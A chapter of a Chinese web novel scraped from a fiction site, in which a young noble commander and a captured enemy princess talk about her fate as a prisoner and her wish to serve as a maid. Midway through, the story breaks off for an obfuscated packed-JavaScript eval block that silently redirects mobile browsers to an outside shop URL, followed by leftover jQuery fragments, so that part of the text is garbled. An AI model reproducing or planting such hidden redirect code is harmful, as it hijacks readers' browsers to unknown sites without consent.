文趣网 > 其他小说 > 薄情骨 > 5. 君臣之道【二】
    戚姮十岁分床那年候府扩容,为她单独辟出了一处院子作寝居。

    房屋不多,她一人带着众侍女住不了多少,多的是土地。院里那片园林是汴京城内最大的私家园林,没有之一。

    凿池为海,叠石成山,小桥曲廊岛亭水榭,隐于花木之间。

    其居宏丽堪比一处世外桃源。秋冬早晨起雾,更像朦胧仙境。

    翻过最高的土坡有整片草场,戚姮出征之前从没去过演武场。骑射武功,长枪短剑,俱在这片地上练习。

    名石上流舍。

    她这一觉睡得极为舒坦,行军两载,太久没沾到正经的床了。

    榻上软软的,暖暖的,都不愿意醒。抱住被子滚了两圈,又踢了好几脚全部踩到脚底,磨蹭了许久才一伸懒腰,睁开了眼。

    戚姮直直坐起,捂着后颈欲要翻身下床,却见地上躺了个人。

    “……!”戚姮吓一激灵。

    这人穿着普通兵卒的衬衣,略显宽大,整张脸都蒙在了发丝中,凌乱不堪,露出的一截手臂惨白如纸。

    这幅样子就像死在了戚姮眼前。

    “副官……”

    她呢喃了声,撑着从地上爬起。戚姮向后退了两步,捞过被子挡在身前,打起了十二分警惕心。

    地上这人膝行至戚姮床边,跪在地上二话不说先磕了个头,拨开头发露出脸,改口道:“世子。”

    戚姮才算是缓了过来,扔开被子:“呼延绰,你故意吓我的?”

    “啊?”名叫呼延绰的女子矢口否认,“不是不是。”

    戚姮:“我都快被你吓死了。”

    “对不起。”呼延绰依旧跪着,“是定远侯让我留在这照顾你的,我实在没有地方能躺,又太困了……只能睡在地上。”

    “屋里这么大,到处都是椅子,那边还有软榻。”戚姮向外指完一圈,又缩了回来,“你非要躺这。”

    呼延绰顺着她指的方向四下张望,小声说:“我只敢睡在地上。”

    “……”

    戚姮这才想起来自己的手还伤着,抬到眼前一看,掌心上药缠了绷带,绑的整齐又结实,一夜过后只残余些许疼痛。

    “这是你绑的?”

    “是。”

    戚姮:“绑的还挺好。”

    她闻言心下一动,悄悄抬眼去瞥戚姮,恰巧撞进对方眼底,眸中似笑非笑的打量,像是戏谑。

    呼延绰又连忙低头下去。

    戚姮收了挑逗,翻身下床,从呼延绰的身侧绕开。走了几步来到供摆的桌案,昨夜里温的茶现在也凉的差不多了。

    她倒出些,先涮了涮杯子,泼了才倒第二杯,提高音量:“怎么说你也是一国公主,跪这伺候我,你能甘心?”

    若说甘心太假,送给皇帝处置便是。

    若说不甘心,戚姮就更不敢留了。

    呼延绰随她的脚步调动膝盖方向,面朝着戚姮,沉默片刻,她问:“俘虏还能算公主吗?”

    戚姮挑眉:“不是公主是什么。是不打算姓呼延了,弃了从前身份,肯当奴了?”

    呼延绰连思忖的时间都没有,当机立断:“我愿意。”

    戚姮一滞:“什么?”

    “我不姓呼延了,也不当公主了,就当侯府中最普通的丫鬟,伺候世子。”

    “……”

    戚姮咬着杯沿,齿尖与瓷器碰撞,细小的“叮当”响传到颅内,没想到会是这般走向,她的面色很是复杂。

    “你可全都因为我才落的这个下场,你不恨我?”

    她摇头:“不恨。”

    说的又快又轻松,仿佛真的无所谓。

    戚姮不死心:“我还杀了你亲哥哥,砍了他的脑袋,那是你哥哥。”

    呼延绰语气如常:“我知道,我不恨你。”

    “我还害得你国家丢了地,将士死伤无数,抓你过来成了俘虏……”

    “不恨。”呼延绰都不等戚姮说完,直接打断,“不恨就是不恨,不必再问了。”

    单拎出一条都是血海深仇,呼延绰真想杀戚姮,一刀了结都算仁慈。怎么说都要千刀万剐,死后再鞭尸三日。

    种种叠加到一起居然没掀起任何波澜,只有轻飘飘两个字,“不恨”。

    戚姮不敢相信:“你不恨我还能喜欢我不成?!”

    呼延绰冷静自持的嗓音慌忙否认:“不不敢。”

    戚姮盯她许久,忽觉此人深不可测,竟为保命可以做到如此地步。

    还不知将来能掀起多大的风波。

    戚姮轻抿一口凉水,整夜过去连茶香都散没了:“光嘴上说着不恨,我怎么知道你心里头想的什么……”

    “我什么都没想!”

    戚姮被打断了话头也不恼:“咱俩之间,说小了是隔着杀兄之仇,往大了说那是家国两派。我可不敢信你说的话,万一是打算卧薪尝胆,哪天下毒谋杀我呢?”

    呼延绰咬着唇,艰难开口:“公主也是女人。”

    戚姮听不懂这话:“嗯?”

    “北凉女人出嫁从夫,夫死从子,子死从孙,不可更改。”

    戚姮眉心轻微拧在了一起。

    呼延绰垂下眼,泪花如断线珍珠“哗哗”向下掉,砸到地板上:“副帅弃我而逃之时只说了这一句话。他告诉我,捡走我的男人就是我的丈夫,以后嫁到中原来,就不要回去了。”

    “虽是嫌我累赘才丢弃,但战场上任何俘虏都要上报主帅,我一定会被送到侯爷面前,本质已经与和亲无异。”

    “副帅想用我跟燕军谈判,献出一个女人,换侯爷撤军,他们男人都懂是什么意思的。”

    呼延绰仰起脸,哭红的眼眶湿漉漉,睫毛结成绺:“不然,不然,军队已经败了。那么好的机会侯爷不选择攻上去,反而撤军回朝,不就是收了我的意思吗……为什么又说不能留?”

    戚姮:“…………”

    该怎么跟她解释,这是朝堂上脑子不太好的文官联合上书请奏,强制要求的结果。

    戚姮带领小队冲袭了大半年,撞散各个营垒的联系,早为收官之战打基础。宛如慢性毒药逐渐侵蚀,呼延达旦一死,北凉军队瞬间土崩瓦解。

    早被切断的内部只是靠元帅统治才维持起了抵抗外敌的力,短时间内将领有心无力,根本凝聚不起军心。

    没了元帅指挥,士兵迅速自乱阵脚,毒性彻底爆发。

    大几万的人如无头苍蝇般四散而逃,战马乱撞,踩踏撞伤、拥挤窒息便都接踵而至。

    几乎不用废太大的力,只需要驱赶他们聚到一处,利用人性在仓皇无措下大脑空白这点,自己人就把自己人踩死了。

    燕军由此

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531454|203697||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    战士气高昂,军心大振,两日不到迅速占领幽州。

    稍作整顿,往东北方向去,围剿蓟州剩余的北凉残党,半月不到攻破进城,城墙插上代表“燕”的红旗。

    即将向西长驱直入直取燕云十六州之际,八百里加急的圣旨也传来了。

    不是犒赏,不是慰问,而是要求撤兵。

    连呼延绰都能看明白机会千载难逢,更别提戚姮收到撤兵指令时是什么心情。

    现在告诉她真相,呼延绰都够呛信燕朝里的臣子居然个个是傻吊,能在这时候撤兵。

    事实就是,真这么傻吊。

    见戚姮呆了半天不说话,呼延绰有些着急,啜泣着:“我愿意去伺候侯爷,还请世子殿下行行好,给条活路!”

    “噗——”戚姮一口茶水喷了出来,捂着嘴剧烈咳嗽,“……我好心留你一命,你却想给我当小娘。”

    她捂着半张脸的震撼踱步而去,三下五除二抹掉呼延绰的泪珠,强迫她直视着自己:“你看我这样,像哪的人。”

    距离很近,视线措不及防被戚姮略显冷厉的五官占据,呼延绰瑟缩着向后躲,却无法移动半分。

    她连眼珠都未曾转动,傻愣愣地:“波斯人……?”

    缠满绷带的双手捧起呼延绰的脸,戚姮满脸假笑:“我娘就是和亲公主,你还想继续留在我家。是准备让我爹把周边各国公主收集齐全,当纪念吗。”

    “我不是这个意思……”呼延绰呼吸一滞,“当丫鬟也可以,都可以的。”

    当初捡到呼延绰时,北凉军队早已撤退的七七八八。也不知她到底什么时候被扔的,周遭尸体成堆,血流成河,就她一个活口,在那纷乱的战场上活了下来。

    呼延绰的运气太好了,没死在乱刀铁蹄之下,长的那么漂亮也没有被士兵拖走。就只是呆坐到战争结束,突然挥刀准备自杀。

    戚姮一箭打偏了她的刀锋,充当战事俘虏带回营帐,简单沟通几句知晓了身份名讳,就丢给了自己手下的女兵照顾,再也没管过。

    今天,是第二次见面。

    戚姮默了半晌,突然问:“你多大了?”

    “十七。”

    到底也就是个十七岁的小姑娘,手无缚鸡之力,被族人丢弃,也不管不顾这公主会不会死在战场上,任由自生自灭。

    确实很难再对那里有什么留恋吧。

    戚姮想到这里,叹息一声,问:“你会武吗?”

    呼延绰摇头:“不会。”

    戚姮了然于心,沉吟片刻:“那……你去当个洒扫丫鬟,怎么样?”

    呼延绰弱弱问道:“我可以自己选吗?”

    “……”戚姮妥协,“可以。”

    呼延绰笑:“我想当你的贴身丫鬟。”

    “不行。”戚姮面无表情地拒绝,命再大也不敢真让她贴身伺候,“我自个儿有。”

    呼延绰扒着戚姮的腿,可怜巴巴地:“求你了。”

    “不让你留,说当丫鬟就行,真让你当丫鬟,还想贴身伺候。”戚姮被包扎成鸭掌的手抬起她下巴,场面有点滑稽,“你到底打的什么主意。”

    呼延绰眨了眨眼,听不懂她的弦外之音:“我本打算去伺候定远侯来着,但你不让,伺候你也好啊。”

    戚姮:“……”

    “你还是想当我小娘!”